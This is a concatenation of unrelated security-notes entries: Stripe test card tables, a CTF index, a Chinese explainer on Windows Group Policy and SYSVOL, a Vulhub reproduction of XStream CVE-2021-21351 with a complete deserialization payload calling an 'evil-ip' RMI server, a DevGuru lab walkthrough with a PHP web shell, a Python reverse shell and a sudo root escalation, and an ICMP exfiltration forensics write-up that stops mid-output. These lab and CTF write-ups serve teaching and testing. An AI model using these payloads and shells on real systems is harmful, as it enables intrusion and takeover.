| 4242424242424242 | Visa | tok_visa |
| 4000056655665556 | Visa (debit) | tok_visa_debit |
| 5555555555554444 | Mastercard | tok_mastercard |
International test card numbers and tokens
| NUMBER | TOKEN | COUNTRY | BRAND |
| :------------- | :------------- | :------------- | :------------- |
| 4000000400000008 | tok_at | Austria (AT) | Visa |
| 4000000560000004 | tok_be | Belgium (BE) | Visa |
| 4000002080000001 | tok_dk | Denmark (DK) | Visa |
| 4000002460000001 | tok_fi | Finland (FI) | Visa |
| 4000002500000003 | tok_fr | France (FR) | Visa |
## References
* [[BugBounty] Yahoo phpinfo.php disclosure - Patrik Fehrenbach](http://blog.it-securityguard.com/bugbounty-yahoo-phpinfo-php-disclosure-2/)
* [Nmap CheatSheet - HackerTarget](https://hackertarget.com/nmap-cheatsheet-a-quick-reference-guide/)
|
sec-knowleage
|
# TokyoWesterns 2020
### Table of contents
* [`easy_hash` (crypto/warmup)](easy_hash)
* [`sqrt` (crypto)](https://ctftime.org/writeup/23620)
* [`twin-d` (crypto)](https://ctftime.org/writeup/23632)
* [The Melancholy of Alice (crypto)](https://ctftime.org/writeup/23633)
* [urlcheck v1 (web)](https://bonusplay.pl/writeups/urlcheckv1)
* [urlcheck v2 (web)](urlcheck_v2)
* [Angular of the Universe (flag 1), and Angular of another Universe (web)](https://bonusplay.pl/writeups/angular_of_the_universe)
* [smash (pwn)](smash)
* [Reversing iS Amazing (re)](reversing_is_amazing/rsa.py)
* [Nothing more to say (pwn)](nothing_more_to_say/exploit.py)
* [mask (misc)](mask/solve.py)
* [tamarin (re)](tamarin)
* [Does Linux dream of Windows (web, misc)](does_linux_dream_of_windows)
* [bfnote (web)](bfnote)
* [XOR and shift encryptor (crypto)](xor_and_shift/solve.sage)
|
sec-knowleage
|
# 组策略
---
**组策略的概念**
组策略(英语:Group Policy)是微软 Windows NT 家族操作系统的一个特性,它可以控制用户帐户和计算机帐户的工作环境。组策略提供了操作系统、应用程序和活动目录中用户设置的集中化管理和配置。组策略的其中一个版本名为本地组策略(缩写“LGPO”或“LocalGPO”),这可以在独立且非域的计算机上管理组策略对象。
通过使用组策略,你可以设置策略设置一次,然后将该设置复制到多台计算机上。 例如,你可以在链接到域的 GPO 中设置多个 Internet Explorer11 安全设置,然后将所有这些设置应用到域中的每台计算机。
根据作用范围不同组策略可划分为多种,并且拥有自己的执行顺序和继承原则。
组策略应用顺序:
- 首先应用本地组策略
- 如果有站点组策略,则应用
- 接着应用域策略
- 最后应用 OU 上的策略
- 如果同一个 OU 上链接了多个 GPO,则按照链接顺序从高到低逐个应用
---
## 本地组策略
### LGP
Local Group Policy,缩写 LGP 或 LocalGPO 是组策略的基础版本,它面向独立且非域的计算机。至少 Windows XP 家庭版中它就已经存在,并且可以应用到域计算机。在 Windows Vista 以前,LGP 可以强制施行组策略对象到单台本地计算机,但不能将策略应用到用户或组。从 Windows Vista 开始,LGP 允许本地组策略管理单个用户和组,并允许使用“GPO Packs”在独立计算机之间备份、导入和导出组策略——组策略容器包含导入策略到目标计算机的所需文件。
## 域策略
当机器安装了域环境的时候,系统管理工具会多出一个功能(组策略管理),通过它,域管理员能够很方便统一地对域内的机器和用户进行统一管理。
域管理员经常会面对一个这样的问题,域成员机子的默认本地管理员密码过于简单,想进行批量修改的时候,这个时候就可以利用组策略来进行任务的批量下发。
1.通过在域中下发脚本来执行
2.在组策略首选项 GPP 中进行设置
3.本地管理员密码解决方案:LAPS(不细说这个内容,这是解决这个问题很好的方案)
首先我们需要了解下 AD 域中两个默认的共享文件夹: SYSVOL NETLOGON
可以用 net share 查看共享文件夹
### NETLOGON
NETLOGON 共享是 SYSVOL 目录中一个文件夹 Scripts 的共享名,顾名思义就是用来保存脚本信息的,是 AD 活动目录安装时候自动创建的。
挂载点: `SYSVOL\domain\SCRIPTS`
---
### SYSVOL
每台 Windows 主机有一个内置的 Administrator 账户以及相关联的密码。大多数组织机构为了安全,可能都会要求更改密码,虽然这种方法的效果并不尽如人意。标准的做法是利用组策略去批量设置工作站的本地 Administrator 密码。但是这样又会出现另一个问题,那就是所有的电脑都会有相同的本地 Administrator 密码。也就是说,如果获取了一个系统的 Administrator 认证凭据,黑客就可以获取他们所有机器的管理权限。
解决办法之一是为认证数据采取 SYSVOL,SYSVOL 是 AD(活动目录)里面一个存储域公共文件服务器副本的共享文件夹,所有的认证用户都可以读取。SYSVOL 包括登录脚本,组策略数据,以及其他域控所需要的域数据,这是因为 SYSVOL 能在所有域控里进行自动同步和共享。
SYSVOL 在域中所有的域控制器之间复制。 Sysvol 文件夹是安装 AD 时创建的,它用来存放 GPO、Script 等信息。同时,存放在 Sysvol 文件夹中的信息,会复制到域中所有 DC 上。
所有的域组策略存储在: `\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\`
在域中,用户登录(计算机)时,会首先在 SYSVOL 文件查找 GPO 和启动脚本。同时,为了保证系统的正常运行,必须为 SYSVOL 保留足够的空间缓存,而且不能随意删除、改动该文件夹,要不然会出现一些组策略无法启用等报错信息。
该目录由于针对的是域内所有机器和用户,所以域内中的合法用户均可以访问和执行该目录的文件。(普通的域用户也可以)
---
### GPO
`gpmc.msc`
组策略对象,GPO(Group Policy Object),实际上就是组策略设置的集合。你可以用 GPO 来存储不同的组策略信息,然后作用在指定 OU 或者指定作用范围发挥作用。
默认安装完 AD 之后,系统默认会存在两个组策略对象
**Default Domain Policy**
默认域策略
Windows Server 2008 为林中的每个域创建一个默认域策略 GPO。这个域是用于设置一些安全相关策略的主要方法,如密码过期和账户锁定等。
存放的路径: `C:\Windows\SYSVOL\sysvol\test1.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}`
唯一ID(GUID):{31B2F340-016D-11D2-945F-00C04FB984F9} (都是相同的)
**Default Domain Controllers Policy**
默认域控制器策略
管理目标“Domain Controllers”容器,影响“Domain Controllers”容器中的域控制器,域控制器账户单独保存在该容器中。
唯一ID(GUID):{6AC1786C-016F-11D2-945F-00C04FB984F9} (都是相同的)
---
### GPP
在2006年,微软收购了桌面标准的“PolicyMaker”,并重新借此与 win2008 发布了 GPP(组策略首选项)用来完成很多组策略无法进行的系统及用用配置。其中 GPP 最有用的特性,是在某些场景存储和使用凭据,其中包括:
```
映射驱动(Drives.xml)
创建本地用户
数据源(DataSources.xml)
打印机配置(Printers.xml)
创建/更新服务(Services.xml)
计划任务(ScheduledTasks.xml)
更改本地 Administrator 密码
```
这对管理员非常有用,因为 GPP 提供了一个自动化机制,可以作为急需的解决方案(比如脚本)给他们。它提供了有效的方法,利用显式凭据结合组策略部署了计划任务,一次性批量更改了电脑的本地管理的密码。
组策略首选项借助了组策略对象(Group Policy Oject, GPO) 实现了对域中所有资源的管理。
GPP 里面自定义了很多操作,比如本地用户和组的密码控制、计划任务等
---
**Source & Reference**
- [浅析域渗透中的组策略利用](https://xz.aliyun.com/t/7784)
- [内网渗透 | Windows域的管理](https://mp.weixin.qq.com/s/YJR951cqqlRiCaczhngfvw)
|
sec-knowleage
|
# XStream 反序列化命令执行漏洞(CVE-2021-21351)
XStream是一个轻量级、简单易用的开源Java类库,它主要用于将对象序列化成XML(JSON)或反序列化为对象。
XStream 在解析XML文本时使用黑名单机制来防御反序列化漏洞,但是其 1.4.15 及之前版本黑名单存在缺陷,攻击者可利用`javax.naming.ldap.Rdn$RdnEntry`及`javax.sql.rowset.BaseRowSet`构造JNDI注入,进而执行任意命令。
参考链接:
- https://x-stream.github.io/CVE-2021-21351.html
- https://paper.seebug.org/1543/
- https://www.veracode.com/blog/research/exploiting-jndi-injections-java
- https://github.com/welk1n/JNDI-Injection-Exploit/
## 漏洞环境
执行如下命令启动一个Springboot + XStream 1.4.15的环境:
```
docker compose up -d
```
环境启动后,我们向`http://your-ip:8080`发送一个正常的XML数据包,将会得到预期返回:

## 漏洞复现
由于目标环境Java版本高于8u191,故我们需要借助[这篇文章](https://www.veracode.com/blog/research/exploiting-jndi-injections-java)中给出的方法,使用`org.apache.naming.factory.BeanFactory`加EL表达式注入的方式来执行任意命令。
使用[这个工具](https://github.com/welk1n/JNDI-Injection-Exploit/)启动恶意JNDI服务器:
```
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/success" -A 192.168.1.142
```

使用上图中基于SpringBoot利用链的RMI地址作为`<dataSource>`的值,构造POC如下:
```
POST / HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/xml
Content-Length: 3184
<sorted-set>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>
<m__DTMXRTreeFrag>
<m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>
<m__size>-10086</m__size>
<m__mgrDefault>
<__overrideDefaultParser>false</__overrideDefaultParser>
<m__incremental>false</m__incremental>
<m__source__location>false</m__source__location>
<m__dtms>
<null/>
</m__dtms>
<m__defaultHandler/>
</m__mgrDefault>
<m__shouldStripWS>false</m__shouldStripWS>
<m__indexing>false</m__indexing>
<m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>
<fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
<javax.sql.rowset.BaseRowSet>
<default>
<concurrency>1008</concurrency>
<escapeProcessing>true</escapeProcessing>
<fetchDir>1000</fetchDir>
<fetchSize>0</fetchSize>
<isolation>2</isolation>
<maxFieldSize>0</maxFieldSize>
<maxRows>0</maxRows>
<queryTimeout>0</queryTimeout>
<readOnly>true</readOnly>
<rowSetType>1004</rowSetType>
<showDeleted>false</showDeleted>
<dataSource>rmi://evil-ip:1099/example</dataSource>
<listeners/>
<params/>
</default>
</javax.sql.rowset.BaseRowSet>
<com.sun.rowset.JdbcRowSetImpl>
<default/>
</com.sun.rowset.JdbcRowSetImpl>
</fPullParserConfig>
<fConfigSetInput>
<class>com.sun.rowset.JdbcRowSetImpl</class>
<name>setAutoCommit</name>
<parameter-types>
<class>boolean</class>
</parameter-types>
</fConfigSetInput>
<fConfigParse reference='../fConfigSetInput'/>
<fParseInProgress>false</fParseInProgress>
</m__incrementalSAXSource>
<m__walker>
<nextIsRaw>false</nextIsRaw>
</m__walker>
<m__endDocumentOccured>false</m__endDocumentOccured>
<m__idAttributes/>
<m__textPendingStart>-1</m__textPendingStart>
<m__useSourceLocationProperty>false</m__useSourceLocationProperty>
<m__pastFirstElement>false</m__pastFirstElement>
</m__dtm>
<m__dtmIdentity>1</m__dtmIdentity>
</m__DTMXRTreeFrag>
<m__dtmRoot>1</m__dtmRoot>
<m__allowRelease>false</m__allowRelease>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>test</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>
```
其中,evil-ip是恶意RMI服务器的地址。然后,进入目标容器内,可见``touch /tmp/success``已成功执行:

在实战中,如果目标Java版本较低,POC需要做修改,将其中的`<__overrideDefaultParser>false</__overrideDefaultParser>`改成`<__useServicesMechanism>false</__useServicesMechanism>`即可。
|
sec-knowleage
|
# DevGuru 1
> https://download.vulnhub.com/devguru/devguru.ova.7z
靶场IP:`192.168.32.224`
扫描对外端口服务
```
┌──(root💀kali)-[~/Desktop]
└─# nmap -p 1-65535 -sV 192.168.32.224
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-11 01:23 EDT
Nmap scan report for 192.168.32.224
Host is up (0.00096s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
8585/tcp open unknown
```
访问80端口

爆破目录
```
┌──(root💀kali)-[/tmp]
└─# dirb http://192.168.32.224/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sun Sep 11 01:25:29 2022
URL_BASE: http://192.168.32.224/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.32.224/ ----
+ http://192.168.32.224/.git/HEAD (CODE:200|SIZE:23)
+ http://192.168.32.224/.htaccess (CODE:200|SIZE:1678)
+ http://192.168.32.224/0 (CODE:200|SIZE:12674)
+ http://192.168.32.224/about (CODE:200|SIZE:18666)
+ http://192.168.32.224/About (CODE:200|SIZE:18666)
+ http://192.168.32.224/backend (CODE:302|SIZE:414)
==> DIRECTORY: http://192.168.32.224/config/
+ http://192.168.32.224/index.php (CODE:200|SIZE:12724)
==> DIRECTORY: http://192.168.32.224/modules/
==> DIRECTORY: http://192.168.32.224/plugins/
+ http://192.168.32.224/services (CODE:200|SIZE:10038)
+ http://192.168.32.224/Services (CODE:200|SIZE:10038)
==> DIRECTORY: http://192.168.32.224/storage/
==> DIRECTORY: http://192.168.32.224/themes/
==> DIRECTORY: http://192.168.32.224/vendor/
---- Entering directory: http://192.168.32.224/config/ ----
---- Entering directory: http://192.168.32.224/modules/ ----
==> DIRECTORY: http://192.168.32.224/modules/backend/
==> DIRECTORY: http://192.168.32.224/modules/cms/
==> DIRECTORY: http://192.168.32.224/modules/system/
```
访问:`/.git/HEAD`

使用[git-dumper](https://github.com/arthaud/git-dumper)对整个git项目导出
```
┌──(root💀kali)-[/opt/git-dumper]
└─# python3 git_dumper.py http://192.168.32.224 /tmp/sources
```

访问:`/adminer.php`,发现需要数据库连接信息

查看数据库连接文件
```
┌──(root💀kali)-[/tmp/sources]
└─# cat config/database.php
'mysql' => [
'driver' => 'mysql',
'engine' => 'InnoDB',
'host' => 'localhost',
'port' => 3306,
'database' => 'octoberdb',
'username' => 'october',
'password' => 'SQ66EBYx4GT3byXH',
'charset' => 'utf8mb4',
'collation' => 'utf8mb4_unicode_ci',
'prefix' => '',
'varcharmax' => 191,
],
```
登录成功

在 `backend_users` 表中,我在这里看到了用户"`frank`"的记录,我找到了bcrypt 算法加密形式的密码,并且可以使用编辑选项卡修改该记录。

因此,我尝试使用 https://www.browserling.com/tools/bcrypt生成一个新密码 :**hack123**
```
$2a$10$EZqGJ5vfe6K9vtzmn9xPCOER/W0JwLkLzzUFFfmvsM2CKFxr9P4tm
```
使用`frank/hack123`登录cms


我在 Google 上搜索并找到了一个通过执行 PHP 代码来利用 October CMS的[链接。](https://octobercms.com/forum/post/running-php-code-on-pages)所以我执行以下代码:
```
{{ this.page.getShell }}
```

在"`home.htm`"文件的代码选项卡中添加以下方法:
```php
function onStart() {
$this->page['getShell'] = system($_GET['cmd']);
}
```

执行shell:`http://192.168.32.224/?cmd=ls -la`

下载反弹shell
```
192.168.32.224/?cmd=wget http://192.168.32.130/shell.php
```
我们得到了反向连接,让我们进一步列举。我们在 /var/backup 中找到了**app.ini.bak**文件

在这里,我们找到了 `gitea` DB 的另一个登录凭据。
```
[database]
; Database to use. Either "mysql", "postgres", "mssql" or "sqlite3".
DB_TYPE = mysql
HOST = 127.0.0.1:3306
NAME = gitea
USER = gitea
; Use PASSWD = `your password` for quoting if you use special characters in the password.
PASSWD = UfFPTF8C8jjxVF2m
```
因此我们以`gitea:UfFPTF8C8jjxVF2m`登录mysql

在用户内部的 gitea DB 中,该表包含 `user:frank` 并再次更改密码

现在让我们使用上面生成的用户 Frank 的密码哈希。因此,我为用户 frank 编辑了记录并更新了表格。

然后我导航到 gitea over 8585 并使用以下凭据登录

在这里,我们得到了仪表板并找到了 `frank/devguru-website` 的链接。

单击图像中突出显示的设置。

点击**Git Hooks > pre-receive > Hook Content**然后执行 python 反向 shell 和代码。
```
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.32.130",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```


但是您需要更新存储库以执行 python 代码,因此返回存储库并打开 `README.md`
现在通过在文件末尾添加一些空白行来编辑文件,并在单击提交更改后立即单击提交更改,它将更新存储库,您将通过 netcat 会话获得反向连接。

因此,我们得到了反向连接,我们找到了 `user.txt` 文件,这是我们的第一个标志。

为了提升权限,我们检查了 Sudo 权限,发现用户 frank 可以使用 root 权限运行 sqlite3,而且安装的 sudoers 插件版本也存在漏洞。

我们从[这里](https://www.exploit-db.com/exploits/47502)发现了一个漏洞。然后我执行以下命令以获取 root 权限 shell 并读取作为我们最终标志的 root.txt。
```
sudo -u#-1 sqlite3 /dev/null '.shell /bin/bash'
```

|
sec-knowleage
|
# Challenge 2
Worked with AvivC, YaakovC.
## Description
After finishing [Challenge 1](Challenge1.md) and extracting the encrypted PCAP file, we can start Challenge 2.
At some point the creators uploaded a new version of `decrypt.rar.rar` with the following `README` file:
> After opening challenge2.pcap.rar, please send to our mail the md5 of the pcap as a flag.
>
> The pcap contains evidence of an attack in a private network we were hired to research.
>
> You should find the outer IP address of the attacker by investigating malicious activity.
>
> This challeng will require you to think out of the box, good luck.
## Solution
Let's take a look at the PCAP file:
```console
root@kali:/media/sf_CTFs/hoshen/2# tshark -qz io,phs -r Challenge2.pcapng
Running as user "root" and group "root". This could be dangerous.
===================================================================
Protocol Hierarchy Statistics
Filter:
eth frames:212107 bytes:148758200
arp frames:3542 bytes:209514
ip frames:205803 bytes:148291639
tcp frames:180934 bytes:145976750
ssl frames:46939 bytes:41069107
tcp.segments frames:18609 bytes:24518037
ssl frames:10615 bytes:15126013
data frames:114 bytes:7019
nbss frames:26001 bytes:9905038
smb2 frames:25992 bytes:9903504
smb2 frames:4088 bytes:2106738
tcp.segments frames:554 bytes:332248
smb2 frames:98 bytes:64221
tcp.segments frames:38 bytes:30236
nbss frames:7 bytes:2306
smb2 frames:7 bytes:2306
nbss frames:1 bytes:473
smb2 frames:1 bytes:473
nbss frames:1 bytes:473
smb2 frames:1 bytes:473
tcp.segments frames:24 bytes:26784
dcerpc frames:4 bytes:1200
srvsvc frames:2 bytes:616
dcerpc frames:1 bytes:350
srvsvc frames:1 bytes:350
data frames:6379 bytes:4465331
tcp.segments frames:2851 bytes:1329327
smb frames:7 bytes:1419
udp frames:7766 bytes:1049528
bootp frames:862 bytes:397908
llmnr frames:3092 bytes:204261
nbns frames:2720 bytes:250570
ssdp frames:618 bytes:122750
data frames:46 bytes:3772
dns frames:254 bytes:28592
nbdgm frames:168 bytes:40843
smb frames:168 bytes:40843
mailslot frames:168 bytes:40843
browser frames:168 bytes:40843
mdns frames:6 bytes:832
icmp frames:17093 bytes:1264821
igmp frames:10 bytes:540
loop frames:202 bytes:12120
data frames:202 bytes:12120
ipv6 frames:1486 bytes:168336
udp frames:1359 bytes:156910
dhcpv6 frames:1207 bytes:143020
llmnr frames:146 bytes:12938
mdns frames:6 bytes:952
icmpv6 frames:127 bytes:11426
llc frames:1039 bytes:73934
stp frames:1005 bytes:60300
cdp frames:34 bytes:13634
lldp frames:2 bytes:116
data frames:33 bytes:2541
===================================================================
```
We have ~200,000 frames and lots of different protocols. However, apart from a handful of messages, most messages were sent in the internal network. We are looking for an external IP, and the few external IPs in the capture did not seem related.
The first things that seems worth investigation is the SMB session. There are lots of SMB messages, for example:
```console
root@kali:/media/sf_CTFs/hoshen/2# tshark -nr Challenge2.pcapng -Y 'smb2' | head
Running as user "root" and group "root". This could be dangerous.
1014 29.590037 10.0.0.24 → 10.0.0.201 SMB2 290 Create Request File: desktop.ini 49884 445
1015 29.591128 10.0.0.201 → 10.0.0.24 SMB2 131 Create Response, Error: STATUS_OBJECT_NAME_NOT_FOUND 445 49884
1140 31.593770 10.0.0.24 → 10.0.0.201 SMB2 362 Create Request File: Teams\Network Forensics\Miscellanesous\CHALLENGE\answers\sender.py 49884 445
1141 31.594948 10.0.0.201 → 10.0.0.24 SMB2 298 Create Response File: Teams\Network Forensics\Miscellanesous\CHALLENGE\answers\sender.py 445 49884
1142 31.595244 10.0.0.24 → 10.0.0.201 SMB2 275 GetInfo Request FS_INFO/FileFsVolumeInformation File: Teams\Network Forensics\Miscellanesous\CHALLENGE\answers\sender.py;GetInfo Request FS_INFO/FileFsAttributeInformation File: Teams\Network Forensics\Miscellanesous\CHALLENGE\answers\sender.py 49884 445
1143 31.596260 10.0.0.201 → 10.0.0.24 SMB2 250 GetInfo Response;GetInfo Response 445 49884
1144 31.596339 10.0.0.24 → 10.0.0.201 SMB2 162 GetInfo Request FILE_INFO/SMB2_FILE_EA_INFO File: Teams\Network Forensics\Miscellanesous\CHALLENGE\answers\sender.py 49884 445
1145 31.597147 10.0.0.201 → 10.0.0.24 SMB2 134 GetInfo Response 445 49884
1146 31.597249 10.0.0.24 → 10.0.0.201 SMB2 146 Close Request File: Teams\Network Forensics\Miscellanesous\CHALLENGE\answers\sender.py 49884 445
1147 31.598073 10.0.0.201 → 10.0.0.24 SMB2 182 Close Response 445 49884
```
The SMB session included many directory listings, some unimportant file reads and the following write to `skid.txt`:
```console
root@kali:/media/sf_CTFs/hoshen/2# tshark -nr Challenge2.pcapng -Y 'smb2.write_length > 0'
Running as user "root" and group "root". This could be dangerous.
108802 1504.579445 10.0.0.24 → 10.0.0.201 DCERPC 330 Bind: call_id: 2, Fragment: Single, 3 context items: SRVSVC V3.0 (32bit NDR), SRVSVC V3.0 (64bit NDR), SRVSVC V3.0 (6cb71c2c-9812-4540-0300-000000000000) 49884 445
109263 1517.490219 10.0.0.24 → 10.0.0.201 SMB2 192 Write Request Len:22 Off:0 File: Teams\Network Forensics\Miscellanesous\skid.txt 49884 445
root@kali:/media/sf_CTFs/hoshen/2# tshark -nr Challenge2.pcapng -Y 'frame.number==109263' -T fields -e data.text -o data.show_as_text:TRUE
Running as user "root" and group "root". This could be dangerous.
you will never succeed
```
The next thing that seemed odd is the following sequence of messages:
```console
root@kali:/media/sf_CTFs/hoshen/2# tshark -nr Challenge2.pcapng -Y 'ip.addr == 10.0.0.24 and ip.addr == 10.0.0.36' | head
Running as user "root" and group "root". This could be dangerous.
202363 1774.765268 10.0.0.24 → 10.0.0.36 ICMP 74 Echo (ping) request id=0x0001, seq=21/5376, ttl=128
202366 1774.767452 10.0.0.36 → 10.0.0.24 ICMP 74 Echo (ping) reply id=0x0001, seq=21/5376, ttl=128 (request in 202363)
202492 1781.937553 10.0.0.24 → 10.0.0.36 TCP 58 61948 → 587 [SYN] Seq=0 Win=1024 Len=0 MSS=1460 61948 587
202493 1781.937956 10.0.0.24 → 10.0.0.36 TCP 58 61948 → 199 [SYN] Seq=0 Win=1024 Len=0 MSS=1460 61948 199
202494 1781.938307 10.0.0.36 → 10.0.0.24 TCP 60 587 → 61948 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0 587 61948
202495 1781.938390 10.0.0.24 → 10.0.0.36 TCP 58 61948 → 113 [SYN] Seq=0 Win=1024 Len=0 MSS=1460 61948 113
202496 1781.938741 10.0.0.36 → 10.0.0.24 TCP 60 199 → 61948 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0 199 61948
202497 1781.938814 10.0.0.24 → 10.0.0.36 TCP 58 61948 → 554 [SYN] Seq=0 Win=1024 Len=0 MSS=1460 61948 554
202498 1781.939165 10.0.0.36 → 10.0.0.24 TCP 60 113 → 61948 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0 113 61948
202499 1781.939238 10.0.0.24 → 10.0.0.36 TCP 58 61948 → 53 [SYN] Seq=0 Win=1024 Len=0 MSS=1460 61948 53
```
`10.0.0.24` was flooding `10.0.0.36` with `SYN` packets for different ports. This looks like port scanning.
`10.0.0.36` replied with a `SYN/ACK` for the few ports it had open:
```console
root@kali:/media/sf_CTFs/hoshen/2# tshark -nr Challenge2.pcapng -Y 'ip.src == 10.0.0.36 and ip.dst == 10.0.0.24 and tcp.flags.ack == 1 and tcp.flags.syn == 1'
Running as user "root" and group "root". This could be dangerous.
202523 1781.944710 10.0.0.36 → 10.0.0.24 TCP 60 3389 → 61948 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460 3389 61948
202540 1781.947807 10.0.0.36 → 10.0.0.24 TCP 60 135 → 61948 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460 135 61948
202542 1781.947832 10.0.0.36 → 10.0.0.24 TCP 60 445 → 61948 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460 445 61948
202550 1781.949354 10.0.0.36 → 10.0.0.24 TCP 60 139 → 61948 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460 139 61948
```
We can see that `10.0.0.36` has a few known ports open (RDP, SMB). However, this didn't lead anywhere either.
Notice the relatively large amount of ICMP packets:
```
icmp frames:17093 bytes:1264821
```
These are pings:
```console
root@kali:/media/sf_CTFs/hoshen/2# tshark -nr Challenge2.pcapng -Y 'icmp' | head
Running as user "root" and group "root". This could be dangerous.
126 13.717845 10.0.0.24 → 10.0.0.10 ICMP 74 Echo (ping) request id=0x0001, seq=1/256, ttl=64
127 13.718763 10.0.0.10 → 10.0.0.24 ICMP 74 Echo (ping) reply id=0x0001, seq=1/256, ttl=64 (request in 126)
141 13.908518 10.0.0.24 → 10.0.0.10 ICMP 74 Echo (ping) request id=0x0001, seq=1/256, ttl=64
142 13.909318 10.0.0.10 → 10.0.0.24 ICMP 74 Echo (ping) reply id=0x0001, seq=1/256, ttl=64 (request in 141)
150 14.080087 10.0.0.24 → 10.0.0.10 ICMP 74 Echo (ping) request id=0x0001, seq=1/256, ttl=64
151 14.080890 10.0.0.10 → 10.0.0.24 ICMP 74 Echo (ping) reply id=0x0001, seq=1/256, ttl=64 (request in 150)
161 14.299232 10.0.0.24 → 10.0.0.10 ICMP 74 Echo (ping) request id=0x0001, seq=1/256, ttl=64
162 14.300037 10.0.0.10 → 10.0.0.24 ICMP 74 Echo (ping) reply id=0x0001, seq=1/256, ttl=64 (request in 161)
167 14.518508 10.0.0.24 → 10.0.0.10 ICMP 74 Echo (ping) request id=0x0001, seq=1/256, ttl=64
168 14.519291 10.0.0.10 → 10.0.0.24 ICMP 74 Echo (ping) reply id=0x0001, seq=1/256, ttl=64 (request in 167)
```
Let's take a closer look at them. For example, the first packet:
```console
root@kali:/media/sf_CTFs/hoshen/2# tshark -nr Challenge2.pcapng -Y 'frame.number==126' -x -T json
Running as user "root" and group "root". This could be dangerous.
[
{
"_index": "packets-2020-02-13",
"_type": "pcap_file",
"_score": null,
"_source": {
"layers": {
...
"icmp_raw": ["0800597300010001ffd8ffe000104a46494600010100000100010000ffdb00430005030404040305", 34, 40, 0, 1],
"icmp": {
"icmp.type_raw": ["08", 34, 1, 0, 4],
"icmp.type": "8",
"icmp.code_raw": ["00", 35, 1, 0, 4],
"icmp.code": "0",
"icmp.checksum_raw": ["5973", 36, 2, 0, 5],
"icmp.checksum": "0x00005973",
"icmp.checksum.status": "1",
"icmp.ident_raw": ["0001", 38, 2, 0, 5],
"icmp.ident": "1",
"icmp.ident_raw": ["0001", 38, 2, 0, 5],
"icmp.ident": "256",
"icmp.seq_raw": ["0001", 40, 2, 0, 5],
"icmp.seq": "1",
"icmp.seq_le_raw": ["0001", 40, 2, 0, 5],
"icmp.seq_le": "256",
"data_raw": ["ffd8ffe000104a46494600010100000100010000ffdb00430005030404040305", 42, 32, 0, 1],
"data": {
"data.data_raw": ["ffd8ffe000104a46494600010100000100010000ffdb00430005030404040305", 42, 32, 0, 30],
"data.data": "ff:d8:ff:e0:00:10:4a:46:49:46:00:01:01:00:00:01:00:01:00:00:ff:db:00:43:00:05:03:04:04:04:03:05",
"data.len": "32"
}
}
}
}
root@kali:/media/sf_CTFs/hoshen/2# tshark -nr Challenge2.pcapng -Y 'frame.number==126' -x
Running as user "root" and group "root". This could be dangerous.
0000 00 0c 29 53 4c a5 48 0f cf 50 3d f1 08 00 45 00 ..)SL.H..P=...E.
0010 00 3c 00 01 00 00 40 01 66 9f 0a 00 00 18 0a 00 .<....@.f.......
0020 00 0a 08 00 59 73 00 01 00 01 ff d8 ff e0 00 10 ....Ys..........
0030 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db JFIF............
0040 00 43 00 05 03 04 04 04 03 05 .C........
```
We can see that the first ICMP packet contains data, and if we view the HEX dump we identify `JFIF`, which is a magic string associated with JPEG files.
Let's try to extract all the data from the ICMP packets. We'll only take packets sent from `10.0.0.24` to `10.0.0.10` since the response holds the same data as the request.
```console
root@kali:/media/sf_CTFs/hoshen/2# tshark -nr Challenge2.pcapng -Y 'icmp and ip.src==10.0.0.24 and ip.dst==10.0.0.10' -T json > ping_data.json
Running as user "root" and group "root". This could be dangerous.
```
Now let's concatenate the data into a big binary:
```python
import json
with open("ping_data.json") as f, open("output.bin", "wb") as o:
json_data = json.loads(f.read())
for packet in json_data:
data = packet["_source"]["layers"]["icmp"]["data"]["data.data"].replace(":", "")
o.write(bytes.fromhex(data))
```
After running it:
```console
root@kali:/media/sf_CTFs/hoshen/2# file output.bin
output.bin: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1093x615, frames 3
root@kali:/media/sf_CTFs/hoshen/2# foremost output.bin
Processing: output.bin
|*|
root@kali:/media/sf_CTFs/hoshen/2# cat output/audit.txt
Foremost version 1.5.7 by Jesse Kornblum, Kris Kendall, and Nick Mikus
Audit File
Invocation: foremost output.bin
Output directory: /media/sf_CTFs/hoshen/2/output
Configuration file: /etc/foremost.conf
------------------------------------------------------------------
File: output.bin
